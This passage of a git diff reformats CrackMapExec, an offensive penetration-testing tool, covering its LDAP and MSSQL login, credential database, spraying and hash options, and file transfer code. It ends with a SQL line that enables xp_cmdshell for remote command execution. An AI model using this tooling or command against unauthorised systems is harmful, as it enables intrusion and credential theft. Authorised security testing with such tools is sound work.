MSDS_MANAGEDPASSWORD_BLOB(Structure): structure = ( - ('Version','= 0: # We need to try SSL try: - ldapConnection = ldap_impacket.LDAPConnection(f"ldaps://{kdcHost}", baseDN) - ldapConnection.login(username, password, domain, lmhash, nthash, aesKey, kdcHost=kdcHost, useCache=False) + ldapConnection = ldap_impacket.LDAPConnection( + f"ldaps://{kdcHost}", baseDN + ) + ldapConnection.login( + username, + password, + domain, + lmhash, + nthash, + aesKey, + kdcHost=kdcHost, + useCache=False, + ) self.logger.extra["protocol"] = "LDAPS" self.logger.extra["port"] = "636" # self.logger.success(out) @@ -80,13 +103,13 @@ class LDAPConnect: errorCode = str(e).split()[-2][:-1] self.logger.fail( f"{domain}\\{username}:{password if password else ntlm_hash} {ldap_error_status[errorCode] if errorCode in ldap_error_status else ''}", - color="magenta" if errorCode in ldap_error_status else "red" + color="magenta" if errorCode in ldap_error_status else "red", ) else: errorCode = str(e).split()[-2][:-1] self.logger.fail( f"{domain}\\{username}:{password if password else ntlm_hash} {ldap_error_status[errorCode] if errorCode in ldap_error_status else ''}", - color="magenta" if errorCode in ldap_error_status else "red" + color="magenta" if errorCode in ldap_error_status else "red", ) return False @@ -98,7 +121,7 @@ class LDAPConnect: except KerberosError as e: self.logger.fail( f"{domain}\\{username}:{password if password else ntlm_hash} {str(e)}", - color="red" + color="red", ) return False @@ -113,7 +136,7 @@ class LDAPConnect: nthash = ntlm_hash # Create the baseDN - baseDN = '' + baseDN = "" domainParts = domain.split(".") for i in domainParts: baseDN += f"dc={i}," @@ -121,11 +144,13 @@ class LDAPConnect: baseDN = baseDN[:-1] try: - ldapConnection = ldap_impacket.LDAPConnection(f"ldap://{domain}", baseDN, domain) + ldapConnection = ldap_impacket.LDAPConnection( + f"ldap://{domain}", baseDN, domain + ) ldapConnection.login(username, password, domain, lmhash, nthash) # Connect to LDAP - out = u"{domain}\\{username}:{password if password else ntlm_hash}" + out = "{domain}\\{username}:{password if password else ntlm_hash}" self.logger.extra["protocol"] = "LDAP" self.logger.extra["port"] = "389" # self.logger.success(out) @@ -136,7 +161,9 @@ class LDAPConnect: if str(e).find("strongerAuthRequired") >= 0: # We need to try SSL try: - ldapConnection = ldap_impacket.LDAPConnection(f"ldaps://{domain}", baseDN, domain) + ldapConnection = ldap_impacket.LDAPConnection( + f"ldaps://{domain}", baseDN, domain + ) ldapConnection.login(username, password, domain, lmhash, nthash) self.logger.extra["protocol"] = "LDAPS" self.logger.extra["port"] = "636" @@ -146,13 +173,13 @@ class LDAPConnect: errorCode = str(e).split()[-2][:-1] self.logger.fail( f"{domain}\\{username}:{password if password else ntlm_hash} {ldap_error_status[errorCode] if errorCode in ldap_error_status else ''}", - color="magenta" if errorCode in ldap_error_status else "red" + color="magenta" if errorCode in ldap_error_status else "red", ) else: errorCode = str(e).split()[-2][:-1] self.logger.fail( f"{domain}\\{username}:{password if password else ntlm_hash} {ldap_error_status[errorCode] if errorCode in ldap_error_status else ''}", - color="magenta" if errorCode in ldap_error_status else "red" + color="magenta" if errorCode in ldap_error_status else "red", ) return False @@ -161,4 +188,3 @@ class LDAPConnect: f"{domain}\\{username}:{password if password else ntlm_hash} {'Error connecting to the domain, please add option --kdcHost with the FQDN of the domain controller'}" ) return False - diff --git a/cme/protocols/mssql.py b/cme/protocols/mssql.py index 1aae16a9..637d53e7 100755 --- a/cme/protocols/mssql.py +++ b/cme/protocols/mssql.py @@ -13,8 +13,18 @@ from cme.helpers.powershell import create_ps_command from impacket import tds from impacket.krb5.ccache import CCache from impacket.smbconnection import SMBConnection, SessionError -from impacket.tds import SQLErrorException, TDS_LOGINACK_TOKEN, TDS_ERROR_TOKEN, TDS_ENVCHANGE_TOKEN, TDS_INFO_TOKEN, \ - TDS_ENVCHANGE_VARCHAR, TDS_ENVCHANGE_DATABASE, TDS_ENVCHANGE_LANGUAGE, TDS_ENVCHANGE_CHARSET, TDS_ENVCHANGE_PACKETSIZE +from impacket.tds import ( + SQLErrorException, + TDS_LOGINACK_TOKEN, + TDS_ERROR_TOKEN, + TDS_ENVCHANGE_TOKEN, + TDS_INFO_TOKEN, + TDS_ENVCHANGE_VARCHAR, + TDS_ENVCHANGE_DATABASE, + TDS_ENVCHANGE_LANGUAGE, + TDS_ENVCHANGE_CHARSET, + TDS_ENVCHANGE_PACKETSIZE, +) class mssql(connection): @@ -24,36 +34,111 @@ class mssql(connection): self.server_os = None self.hash = None self.os_arch = None - self.nthash = '' + self.nthash = "" connection.__init__(self, args, db, host) @staticmethod def proto_args(parser, std_parser, module_parser): - mssql_parser = parser.add_parser('mssql', help="own stuff using MSSQL", parents=[std_parser, module_parser]) + mssql_parser = parser.add_parser( + "mssql", help="own stuff using MSSQL", parents=[std_parser, module_parser] + ) dgroup = mssql_parser.add_mutually_exclusive_group() - dgroup.add_argument("-d", metavar="DOMAIN", dest='domain', type=str, help="domain name") - dgroup.add_argument("--local-auth", action='store_true', help='authenticate locally to each target') - mssql_parser.add_argument("-H", '--hash', metavar="HASH", dest='hash', nargs='+', default=[], help='NTLM hash(es) or file(s) containing NTLM hashes') - mssql_parser.add_argument("--port", default=1433, type=int, metavar='PORT', help='MSSQL port (default: 1433)') - mssql_parser.add_argument("-q", "--query", dest='mssql_query', metavar='QUERY', type=str, help='execute the specified query against the MSSQL DB') - mssql_parser.add_argument("--no-bruteforce", action='store_true', help='No spray when using file for username and password (user1 => password1, user2 => password2') - mssql_parser.add_argument("--continue-on-success", action='store_true', help="continues authentication attempts even after successes") + dgroup.add_argument( + "-d", metavar="DOMAIN", dest="domain", type=str, help="domain name" + ) + dgroup.add_argument( + "--local-auth", + action="store_true", + help="authenticate locally to each target", + ) + mssql_parser.add_argument( + "-H", + "--hash", + metavar="HASH", + dest="hash", + nargs="+", + default=[], + help="NTLM hash(es) or file(s) containing NTLM hashes", + ) + mssql_parser.add_argument( + "--port", + default=1433, + type=int, + metavar="PORT", + help="MSSQL port (default: 1433)", + ) + mssql_parser.add_argument( + "-q", + "--query", + dest="mssql_query", + metavar="QUERY", + type=str, + help="execute the specified query against the MSSQL DB", + ) + mssql_parser.add_argument( + "--no-bruteforce", + action="store_true", + help="No spray when using file for username and password (user1 => password1, user2 => password2", + ) + mssql_parser.add_argument( + "--continue-on-success", + action="store_true", + help="continues authentication attempts even after successes", + ) - cgroup = mssql_parser.add_argument_group("Command Execution", "options for executing commands") - cgroup.add_argument('--force-ps32', action='store_true', help='force the PowerShell command to run in a 32-bit process') - cgroup.add_argument('--no-output', action='store_true', help='do not retrieve command output') + cgroup = mssql_parser.add_argument_group( + "Command Execution", "options for executing commands" + ) + cgroup.add_argument( + "--force-ps32", + action="store_true", + help="force the PowerShell command to run in a 32-bit process", + ) + cgroup.add_argument( + "--no-output", action="store_true", help="do not retrieve command output" + ) xgroup = cgroup.add_mutually_exclusive_group() - xgroup.add_argument("-x", metavar="COMMAND", dest='execute', help="execute the specified command") - xgroup.add_argument("-X", metavar="PS_COMMAND", dest='ps_execute', help='execute the specified PowerShell command') + xgroup.add_argument( + "-x", + metavar="COMMAND", + dest="execute", + help="execute the specified command", + ) + xgroup.add_argument( + "-X", + metavar="PS_COMMAND", + dest="ps_execute", + help="execute the specified PowerShell command", + ) - psgroup = mssql_parser.add_argument_group('Powershell Obfuscation', "Options for PowerShell script obfuscation") - psgroup.add_argument('--obfs', action='store_true', help='Obfuscate PowerShell scripts') - psgroup.add_argument('--clear-obfscripts', action='store_true', help='Clear all cached obfuscated PowerShell scripts') + psgroup = mssql_parser.add_argument_group( + "Powershell Obfuscation", "Options for PowerShell script obfuscation" + ) + psgroup.add_argument( + "--obfs", action="store_true", help="Obfuscate PowerShell scripts" + ) + psgroup.add_argument( + "--clear-obfscripts", + action="store_true", + help="Clear all cached obfuscated PowerShell scripts", + ) - tgroup = mssql_parser.add_argument_group("Files", "Options for put and get remote files") - tgroup.add_argument("--put-file", nargs=2, metavar="FILE", help='Put a local file into remote target, ex: whoami.txt C:\\Windows\\Temp\\whoami.txt') - tgroup.add_argument("--get-file", nargs=2, metavar="FILE", help='Get a remote file, ex: C:\\Windows\\Temp\\whoami.txt whoami.txt') + tgroup = mssql_parser.add_argument_group( + "Files", "Options for put and get remote files" + ) + tgroup.add_argument( + "--put-file", + nargs=2, + metavar="FILE", + help="Put a local file into remote target, ex: whoami.txt C:\\Windows\\Temp\\whoami.txt", + ) + tgroup.add_argument( + "--get-file", + nargs=2, + metavar="FILE", + help="Get a remote file, ex: C:\\Windows\\Temp\\whoami.txt whoami.txt", + ) return parser @@ -74,7 +159,7 @@ class mssql(connection): "protocol": "MSSQL", "host": self.host, "port": self.args.port, - "hostname": "None" + "hostname": "None", } ) @@ -113,10 +198,18 @@ class mssql(connection): if self.args.local_auth: self.domain = self.hostname except Exception as e: - self.logger.fail(f"Error retrieving host domain: {e} specify one manually with the '-d' flag") + self.logger.fail( + f"Error retrieving host domain: {e} specify one manually with the '-d' flag" + ) self.mssql_instances = self.conn.getInstances(0) - self.db.add_host(self.host, self.hostname, self.domain, self.server_os, len(self.mssql_instances)) + self.db.add_host( + self.host, + self.hostname, + self.domain, + self.server_os, + len(self.mssql_instances), + ) try: self.conn.disconnect() @@ -158,7 +251,16 @@ class mssql(connection): return False return True - def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", kdcHost="", useCache=False): + def kerberos_login( + self, + domain, + username, + password="", + ntlm_hash="", + aesKey="", + kdcHost="", + useCache=False, + ): try: self.conn.disconnect() except: @@ -177,18 +279,27 @@ class mssql(connection): hashes = f":{ntlm_hash}" nthash = ntlm_hash - if not all('' == s for s in [self.nthash, password, aesKey]): + if not all("" == s for s in [self.nthash, password, aesKey]): kerb_pass = next(s for s in [self.nthash, password, aesKey] if s) else: - kerb_pass = '' + kerb_pass = "" try: - res = self.conn.kerberosLogin(None, username, password, domain, hashes, aesKey, kdcHost=kdcHost, useCache=useCache) + res = self.conn.kerberosLogin( + None, + username, + password, + domain, + hashes, + aesKey, + kdcHost=kdcHost, + useCache=useCache, + ) if res is not True: self.conn.printReplies() return False self.password = password - if username == '' and useCache: + if username == "" and useCache: ccache = CCache.loadFile(os.getenv("KRB5CCNAME")) principal = ccache.principal.toPrincipal() self.username = principal.components[0] @@ -198,12 +309,23 @@ class mssql(connection): self.domain = domain self.check_if_admin() - out = u"{}{}{} {}".format( - f'{domain}\\' if not self.args.local_auth else '', + out = "{}{}{} {}".format( + f"{domain}\\" if not self.args.local_auth else "", username, # Show what was used between cleartext, nthash, aesKey and ccache - " from ccache" if useCache else ":%s" % (kerb_pass if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8), - highlight(f'({self.config.get("CME", "pwn3d_label")})' if self.admin_privs else '') + " from ccache" + if useCache + else ":%s" + % ( + kerb_pass + if not self.config.get("CME", "audit_mode") + else self.config.get("CME", "audit_mode") * 8 + ), + highlight( + f'({self.config.get("CME", "pwn3d_label")})' + if self.admin_privs + else "" + ), ) self.logger.success(out) if not self.args.local_auth: @@ -212,11 +334,15 @@ class mssql(connection): return True except Exception as e: self.logger.fail( - u"{}\\{}{} {}".format( - f'{domain}\\' if not self.args.local_auth else '', - username, - " from ccache" if useCache else f":{kerb_pass if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8}", - e)) + "{}\\{}{} {}".format( + f"{domain}\\" if not self.args.local_auth else "", + username, + " from ccache" + if useCache + else f":{kerb_pass if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8}", + e, + ) + ) return False def plaintext_login(self, domain, username, password): @@ -230,7 +356,9 @@ class mssql(connection): # this is to prevent a decoding issue in impacket/ntlm.py:617 where it attempts to decode the domain if not domain: domain = "" - res = self.conn.login(None, username, password, domain, None, not self.args.local_auth) + res = self.conn.login( + None, username, password, domain, None, not self.args.local_auth + ) if res is not True: self.conn.printReplies() return False @@ -242,13 +370,19 @@ class mssql(connection): self.db.add_credential("plaintext", domain, username, password) if self.admin_privs: - self.db.add_admin_user("plaintext", domain, username, password, self.host) + self.db.add_admin_user( + "plaintext", domain, username, password, self.host + ) - out = u"{}{}:{} {}".format( - f'{domain}\\' if not self.args.local_auth else '', + out = "{}{}:{} {}".format( + f"{domain}\\" if not self.args.local_auth else "", username, process_secret(password), - highlight(f'({self.config.get("CME", "pwn3d_label")})' if self.admin_privs else '') + highlight( + f'({self.config.get("CME", "pwn3d_label")})' + if self.admin_privs + else "" + ), ) self.logger.success(out) if not self.args.local_auth: @@ -258,9 +392,7 @@ class mssql(connection): except BrokenPipeError as e: self.logger.fail(f"Broken Pipe Error while attempting to login") except Exception as e: - self.logger.fail( - f"{domain}\\{username}:{process_secret(password)}" - ) + self.logger.fail(f"{domain}\\{username}:{process_secret(password)}") self.logger.exception(e) return False @@ -287,7 +419,7 @@ class mssql(connection): "", domain, ":" + nthash if not lmhash else ntlm_hash, - not self.args.local_auth + not self.args.local_auth, ) if res is not True: self.conn.printReplies() @@ -302,11 +434,15 @@ class mssql(connection): if self.admin_privs: self.db.add_admin_user("hash", domain, username, ntlm_hash, self.host) - out = u"{}\\{} {} {}".format( + out = "{}\\{} {} {}".format( domain, username, process_secret(ntlm_hash), - highlight(f'({self.config.get("CME", "pwn3d_label")})' if self.admin_privs else '') + highlight( + f'({self.config.get("CME", "pwn3d_label")})' + if self.admin_privs + else "" + ), ) self.logger.success(out) if not self.args.local_auth: @@ -316,16 +452,14 @@ class mssql(connection): except BrokenPipeError as e: self.logger.fail(f"Broken Pipe Error while attempting to login") except Exception as e: - self.logger.fail( - f"{domain}\\{username}:{process_secret(ntlm_hash)} {e}" - ) + self.logger.fail(f"{domain}\\{username}:{process_secret(ntlm_hash)} {e}") return False def mssql_query(self): result = self.conn.sql_query(self.args.mssql_query) self.logger.debug(f"SQL Query Result: {result}") for line in StringIO(self.conn._MSSQL__rowsPrinter.getMessage()).readlines(): - if line.strip() != '': + if line.strip() != "": self.logger.highlight(line.strip()) return self.conn._MSSQL__rowsPrinter.getMessage() @@ -358,14 +492,23 @@ class mssql(connection): return raw_output @requires_admin - def ps_execute(self, payload=None, get_output=False, methods=None, force_ps32=False, dont_obfs=True): + def ps_execute( + self, + payload=None, + get_output=False, + methods=None, + force_ps32=False, + dont_obfs=True, + ): if not payload and self.args.ps_execute: payload = self.args.ps_execute if not self.args.no_output: get_output = True # We're disabling PS obfuscation by default as it breaks the MSSQLEXEC execution method - ps_command = create_ps_command(payload, force_ps32=force_ps32, dont_obfs=dont_obfs) + ps_command = create_ps_command( + payload, force_ps32=force_ps32, dont_obfs=dont_obfs + ) return self.execute(ps_command, get_output) @requires_admin @@ -380,7 +523,9 @@ class mssql(connection): if exec_method.file_exists(self.args.put_file[1]): self.logger.success("File has been uploaded on the remote machine") else: - self.logger.fail("File does not exist on the remote system... error during upload") + self.logger.fail( + "File does not exist on the remote system... error during upload" + ) except Exception as e: self.logger.fail(f"Error during upload : {e}") @@ -390,7 +535,9 @@ class mssql(connection): try: exec_method = MSSQLEXEC(self.conn) exec_method.get_file(self.args.get_file[0], self.args.get_file[1]) - self.logger.success(f"File {self.args.get_file[0]} was transferred to {self.args.get_file[1]}") + self.logger.success( + f"File {self.args.get_file[0]} was transferred to {self.args.get_file[1]}" + ) except Exception as e: self.logger.fail(f"Error reading file {self.args.get_file[0]}: {e}") @@ -417,12 +564,17 @@ class mssql(connection): ) elif key["TokenType"] == TDS_ENVCHANGE_TOKEN: - if key["Type"] in (TDS_ENVCHANGE_DATABASE, TDS_ENVCHANGE_LANGUAGE, TDS_ENVCHANGE_CHARSET, TDS_ENVCHANGE_PACKETSIZE): + if key["Type"] in ( + TDS_ENVCHANGE_DATABASE, + TDS_ENVCHANGE_LANGUAGE, + TDS_ENVCHANGE_CHARSET, + TDS_ENVCHANGE_PACKETSIZE, + ): record = TDS_ENVCHANGE_VARCHAR(key["Data"]) if record["OldValue"] == "": - record["OldValue"] = "None".encode('utf-16le') - elif record["NewValue"] == '': - record["NewValue"] = "None".encode('utf-16le') + record["OldValue"] = "None".encode("utf-16le") + elif record["NewValue"] == "": + record["NewValue"] = "None".encode("utf-16le") if key["Type"] == TDS_ENVCHANGE_DATABASE: _type = "DATABASE" elif key["Type"] == TDS_ENVCHANGE_LANGUAGE: diff --git a/cme/protocols/mssql/database.py b/cme/protocols/mssql/database.py index 7e3f9513..bb28f493 100755 --- a/cme/protocols/mssql/database.py +++ b/cme/protocols/mssql/database.py @@ -3,7 +3,11 @@ from sqlalchemy import MetaData, func, Table, select, insert, update, delete from sqlalchemy.dialects.sqlite import Insert # used for upsert -from sqlalchemy.exc import IllegalStateChangeError, NoInspectionAvailable, NoSuchTableError +from sqlalchemy.exc import ( + IllegalStateChangeError, + NoInspectionAvailable, + NoSuchTableError, +) from sqlalchemy.orm import sessionmaker, scoped_session from sqlalchemy.exc import SAWarning import warnings @@ -22,35 +26,37 @@ class database: self.db_engine = db_engine self.metadata = MetaData() self.reflect_tables() - session_factory = sessionmaker( - bind=self.db_engine, - expire_on_commit=True - ) - + session_factory = sessionmaker(bind=self.db_engine, expire_on_commit=True) + Session = scoped_session(session_factory) # this is still named "conn" when it is the session object; TODO: rename self.conn = Session() @staticmethod def db_schema(db_conn): - db_conn.execute('''CREATE TABLE "hosts" ( + db_conn.execute( + """CREATE TABLE "hosts" ( "id" integer PRIMARY KEY, "ip" text, "hostname" text, "domain" text, "os" text, "instances" integer - )''') + )""" + ) # This table keeps track of which credential has admin access over which machine and vice-versa - db_conn.execute('''CREATE TABLE "admin_relations" ( + db_conn.execute( + """CREATE TABLE "admin_relations" ( "id" integer PRIMARY KEY, "userid" integer, "hostid" integer, FOREIGN KEY(userid) REFERENCES users(id), FOREIGN KEY(hostid) REFERENCES hosts(id) - )''') + )""" + ) # type = hash, plaintext - db_conn.execute('''CREATE TABLE "users" ( + db_conn.execute( + """CREATE TABLE "users" ( "id" integer PRIMARY KEY, "credtype" text, "domain" text, @@ -58,14 +64,21 @@ class database: "password" text, "pillaged_from_hostid" integer, FOREIGN KEY(pillaged_from_hostid) REFERENCES hosts(id) - )''') + )""" + ) def reflect_tables(self): with self.db_engine.connect() as conn: try: - self.HostsTable = Table("hosts", self.metadata, autoload_with=self.db_engine) - self.UsersTable = Table("users", self.metadata, autoload_with=self.db_engine) - self.AdminRelationsTable = Table("admin_relations", self.metadata, autoload_with=self.db_engine) + self.HostsTable = Table( + "hosts", self.metadata, autoload_with=self.db_engine + ) + self.UsersTable = Table( + "users", self.metadata, autoload_with=self.db_engine + ) + self.AdminRelationsTable = Table( + "admin_relations", self.metadata, autoload_with=self.db_engine + ) except (NoInspectionAvailable, NoSuchTableError): print( "[-] Error reflecting tables - this means there is a DB schema mismatch \n" @@ -100,9 +113,7 @@ class database: domain = "" hosts = [] - q = select(self.HostsTable).filter( - self.HostsTable.c.ip == ip - ) + q = select(self.HostsTable).filter(self.HostsTable.c.ip == ip) results = self.conn.execute(q).all() cme_logger.debug(f"mssql add_host() - hosts returned: {results}") @@ -136,21 +147,17 @@ class database: # TODO: find a way to abstract this away to a single Upsert call q = Insert(self.HostsTable) - update_columns = {col.name: col for col in q.excluded if col.name not in 'id'} + update_columns = {col.name: col for col in q.excluded if col.name not in "id"} q = q.on_conflict_do_update( - index_elements=self.HostsTable.primary_key, - set_=update_columns - ) - self.conn.execute( - q, - hosts + index_elements=self.HostsTable.primary_key, set_=update_columns ) + self.conn.execute(q, hosts) def add_credential(self, credtype, domain, username, password, pillaged_from=None): """ Check if this credential has already been added to the database, if not add it in. """ - domain = domain.split('.')[0].upper() + domain = domain.split(".")[0].upper() user_rowid = None credential_data = {} @@ -168,7 +175,7 @@ class database: q = select(self.UsersTable).filter( func.lower(self.UsersTable.c.domain) == func.lower(domain), func.lower(self.UsersTable.c.username) == func.lower(username), - func.lower(self.UsersTable.c.credtype) == func.lower(credtype) + func.lower(self.UsersTable.c.credtype) == func.lower(credtype), ) results = self.conn.execute(q).all() @@ -180,14 +187,18 @@ class database: "credtype": credtype, "pillaged_from_hostid": pillaged_from, } - q = insert(self.UsersTable).values(user_data) # .returning(self.UsersTable.c.id) - self.conn.execute(q) # .first() + q = insert(self.UsersTable).values( + user_data + ) # .returning(self.UsersTable.c.id) + self.conn.execute(q) # .first() else: for user in results: # might be able to just remove this if check, but leaving it in for now if not user[3] and not user[4] and not user[5]: - q = update(self.UsersTable).values(credential_data) # .returning(self.UsersTable.c.id) - results = self.conn.execute(q) # .first() + q = update(self.UsersTable).values( + credential_data + ) # .returning(self.UsersTable.c.id) + results = self.conn.execute(q) # .first() # user_rowid = results.id cme_logger.debug( @@ -201,34 +212,28 @@ class database: """ del_hosts = [] for cred_id in creds_id: - q = delete(self.UsersTable).filter( - self.UsersTable.c.id == cred_id - ) + q = delete(self.UsersTable).filter(self.UsersTable.c.id == cred_id) del_hosts.append(q) self.conn.execute(q) def add_admin_user(self, credtype, domain, username, password, host, user_id=None): - domain = domain.split('.')[0].upper() + domain = domain.split(".")[0].upper() if user_id: - q = select(self.UsersTable).filter( - self.UsersTable.c.id == user_id - ) + q = select(self.UsersTable).filter(self.UsersTable.c.id == user_id) users = self.conn.execute(q).all() else: q = select(self.UsersTable).filter( self.UsersTable.c.credtype == credtype, func.lower(self.UsersTable.c.domain) == func.lower(domain), func.lower(self.UsersTable.c.username) == func.lower(username), - self.UsersTable.c.password == password + self.UsersTable.c.password == password, ) users = self.conn.execute(q).all() cme_logger.debug(f"Users: {users}") like_term = func.lower(f"%{host}%") - q = q.filter( - self.HostsTable.c.ip.like(like_term) - ) + q = q.filter(self.HostsTable.c.ip.like(like_term)) hosts = self.conn.execute(q).all() cme_logger.debug(f"Hosts: {hosts}") @@ -236,21 +241,16 @@ class database: for user, host in zip(users, hosts): user_id = user[0] host_id = host[0] - link = { - "userid": user_id, - "hostid": host_id - } + link = {"userid": user_id, "hostid": host_id} q = select(self.AdminRelationsTable).filter( self.AdminRelationsTable.c.userid == user_id, - self.AdminRelationsTable.c.hostid == host_id + self.AdminRelationsTable.c.hostid == host_id, ) links = self.conn.execute(q).all() if not links: - self.conn.execute( - insert(self.AdminRelationsTable).values(link) - ) + self.conn.execute(insert(self.AdminRelationsTable).values(link)) def get_admin_relations(self, user_id=None, host_id=None): if user_id: @@ -271,14 +271,10 @@ class database: q = delete(self.AdminRelationsTable) if user_ids: for user_id in user_ids: - q = q.filter( - self.AdminRelationsTable.c.userid == user_id - ) + q = q.filter(self.AdminRelationsTable.c.userid == user_id) elif host_ids: for host_id in host_ids: - q = q.filter( - self.AdminRelationsTable.c.hostid == host_id - ) + q = q.filter(self.AdminRelationsTable.c.hostid == host_id) self.conn.execute(q) def is_credential_valid(self, credential_id): @@ -287,7 +283,7 @@ class database: """ q = select(self.UsersTable).filter( self.UsersTable.c.id == credential_id, - self.UsersTable.c.password is not None + self.UsersTable.c.password is not None, ) results = self.conn.execute(q).all() return len(results) > 0 @@ -298,18 +294,14 @@ class database: """ # if we're returning a single credential by ID if self.is_credential_valid(filter_term): - q = select(self.UsersTable).filter( - self.UsersTable.c.id == filter_term - ) + q = select(self.UsersTable).filter(self.UsersTable.c.id == filter_term) elif cred_type: - q = select(self.UsersTable).filter( - self.UsersTable.c.credtype == cred_type - ) + q = select(self.UsersTable).filter(self.UsersTable.c.credtype == cred_type) # if we're filtering by username - elif filter_term and filter_term != '': + elif filter_term and filter_term != "": like_term = func.lower(f"%{filter_term}%") q = select(self.UsersTable).filter( - func.lower(self.UsersTable.c.username).like(like_term) + func.lower(self.UsersTable.c.username).like(like_term) ) # otherwise return all credentials else: @@ -322,9 +314,7 @@ class database: """ Check if this host ID is valid. """ - q = select(self.HostsTable).filter( - self.HostsTable.c.id == host_id - ) + q = select(self.HostsTable).filter(self.HostsTable.c.id == host_id) results = self.conn.execute(q).all() return len(results) > 0 @@ -336,29 +326,22 @@ class database: # if we're returning a single host by ID if self.is_host_valid(filter_term): - q = q.filter( - self.HostsTable.c.id == filter_term - ) + q = q.filter(self.HostsTable.c.id == filter_term) results = self.conn.execute(q).first() # all() returns a list, so we keep the return format the same so consumers don't have to guess return [results] # if we're filtering by domain controllers - elif filter_term == 'dc': - q = q.filter( - self.HostsTable.c.dc == True - ) + elif filter_term == "dc": + q = q.filter(self.HostsTable.c.dc == True) if domain: - q = q.filter( - func.lower(self.HostsTable.c.domain) == func.lower(domain) - ) + q = q.filter(func.lower(self.HostsTable.c.domain) == func.lower(domain)) # if we're filtering by ip/hostname elif filter_term and filter_term != "": like_term = func.lower(f"%{filter_term}%") q = select(self.HostsTable).filter( - self.HostsTable.c.ip.like(like_term) | - func.lower(self.HostsTable.c.hostname).like(like_term) + self.HostsTable.c.ip.like(like_term) + | func.lower(self.HostsTable.c.hostname).like(like_term) ) results = self.conn.execute(q).all() return results - diff --git a/cme/protocols/mssql/db_navigator.py b/cme/protocols/mssql/db_navigator.py index fcb414c5..814d937c 100644 --- a/cme/protocols/mssql/db_navigator.py +++ b/cme/protocols/mssql/db_navigator.py @@ -7,7 +7,7 @@ from cme.cmedb import DatabaseNavigator, print_table, print_help class navigator(DatabaseNavigator): def display_creds(self, creds): - data = [['CredID', 'Admin On', 'CredType', 'Domain', 'UserName', 'Password']] + data = [["CredID", "Admin On", "CredType", "Domain", "UserName", "Password"]] for cred in creds: cred_id = cred[0] @@ -18,11 +18,20 @@ class navigator(DatabaseNavigator): # pillaged_from = cred[5] links = self.db.get_admin_relations(user_id=cred_id) - data.append([cred_id, str(len(links)) + ' Host(s)', credtype, domain, username, password]) - print_table(data, title='Credentials') + data.append( + [ + cred_id, + str(len(links)) + " Host(s)", + credtype, + domain, + username, + password, + ] + ) + print_table(data, title="Credentials") def display_hosts(self, hosts): - data = [['HostID', 'Admins', 'IP', 'Hostname', 'Domain', 'OS', 'DB Instances']] + data = [["HostID", "Admins", "IP", "Hostname", "Domain", "OS", "DB Instances"]] for host in hosts: host_id = host[0] ip = host[1] @@ -33,8 +42,18 @@ class navigator(DatabaseNavigator): links = self.db.get_admin_relations(host_id=host_id) - data.append([host_id, str(len(links)) + ' Cred(s)', ip, hostname, domain, os, instances]) - print_table(data, title='Hosts') + data.append( + [ + host_id, + str(len(links)) + " Cred(s)", + ip, + hostname, + domain, + os, + instances, + ] + ) + print_table(data, title="Hosts") def do_hosts(self, line): filter_term = line.strip() @@ -48,7 +67,7 @@ class navigator(DatabaseNavigator): if len(hosts) > 1: self.display_hosts(hosts) elif len(hosts) == 1: - data = [['HostID', 'IP', 'Hostname', 'Domain', 'OS']] + data = [["HostID", "IP", "Hostname", "Domain", "OS"]] host_id_list = [] for host in hosts: @@ -62,9 +81,9 @@ class navigator(DatabaseNavigator): data.append([host_id, ip, hostname, domain, os]) - print_table(data, title='Host(s)') + print_table(data, title="Host(s)") - data = [['CredID', 'CredType', 'Domain', 'UserName', 'Password']] + data = [["CredID", "CredType", "Domain", "UserName", "Password"]] for host_id in host_id_list: links = self.db.get_admin_relations(host_id=host_id) @@ -81,7 +100,7 @@ class navigator(DatabaseNavigator): # pillaged_from = cred[5] data.append([cred_id, credtype, domain, username, password]) - print_table(data, title='Credential(s) with Admin Access') + print_table(data, title="Credential(s) with Admin Access") def do_creds(self, line): filter_term = line.strip() @@ -118,7 +137,7 @@ class navigator(DatabaseNavigator): self.display_creds(creds) else: creds = self.db.get_credentials(filter_term=filter_term) - data = [['CredID', 'CredType', 'Domain', 'UserName', 'Password']] + data = [["CredID", "CredType", "Domain", "UserName", "Password"]] cred_id_list = [] for cred in creds: @@ -132,9 +151,9 @@ class navigator(DatabaseNavigator): data.append([cred_id, credType, domain, username, password]) - print_table(data, title='Credential(s)') + print_table(data, title="Credential(s)") - data = [['HostID', 'IP', 'Hostname', 'Domain', 'OS']] + data = [["HostID", "IP", "Hostname", "Domain", "OS"]] for cred_id in cred_id_list: links = self.db.get_admin_relations(user_id=cred_id) @@ -150,10 +169,15 @@ class navigator(DatabaseNavigator): os = host[4] data.append([host_id, ip, hostname, domain, os]) - print_table(data, title='Admin Access to Host(s)') + print_table(data, title="Admin Access to Host(s)") def do_clear_database(self, line): - if input("This will destroy all data in the current database, are you SURE you want to run this? (y/n): ") == "y": + if ( + input( + "This will destroy all data in the current database, are you SURE you want to run this? (y/n): " + ) + == "y" + ): self.db.clear_database() def help_clear_database(self): @@ -170,7 +194,7 @@ class navigator(DatabaseNavigator): """ commands = ["add", "remove"] - mline = line.partition(' ')[2] + mline = line.partition(" ")[2] offs = len(mline) - len(text) return [s[offs:] for s in commands if s.startswith(mline)] @@ -180,6 +204,6 @@ class navigator(DatabaseNavigator): """ commands = ["add", "remove", "hash", "plaintext"] - mline = line.partition(' ')[2] + mline = line.partition(" ")[2] offs = len(mline) - len(text) return [s[offs:] for s in commands if s.startswith(mline)] diff --git a/cme/protocols/mssql/mssqlexec.py b/cme/protocols/mssql/mssqlexec.py index a1830de8..23296204 100755 --- a/cme/protocols/mssql/mssqlexec.py +++ b/cme/protocols/mssql/mssqlexec.py @@ -24,7 +24,9 @@ class MSSQLEXEC: continue command_output.append(row["output"]) except Exception as e: - cme_logger.error(f"Error when attempting to execute command via xp_cmdshell: {e}") + cme_logger.error( + f"Error when attempting to execute command via xp_cmdshell: {e}" + ) if output: cme_logger.debug(f"Output is enabled") @@ -39,34 +41,46 @@ class MSSQLEXEC: try: self.disable_xp_cmdshell() except Exception as e: - cme_logger.error(f"[OPSEC] Error when attempting to disable xp_cmdshell: {e}") + cme_logger.error( + f"[OPSEC] Error when attempting to disable xp_cmdshell: {e}" + ) return command_output # return self.outputBuffer def enable_xp_cmdshell(self): - self.mssql_conn.sql_query("exec master.dbo.sp_configure 'show advanced options',1;RECONFIGURE;exec master.dbo.sp_configure 'xp_cmdshell', 1;RECONFIGURE;") + 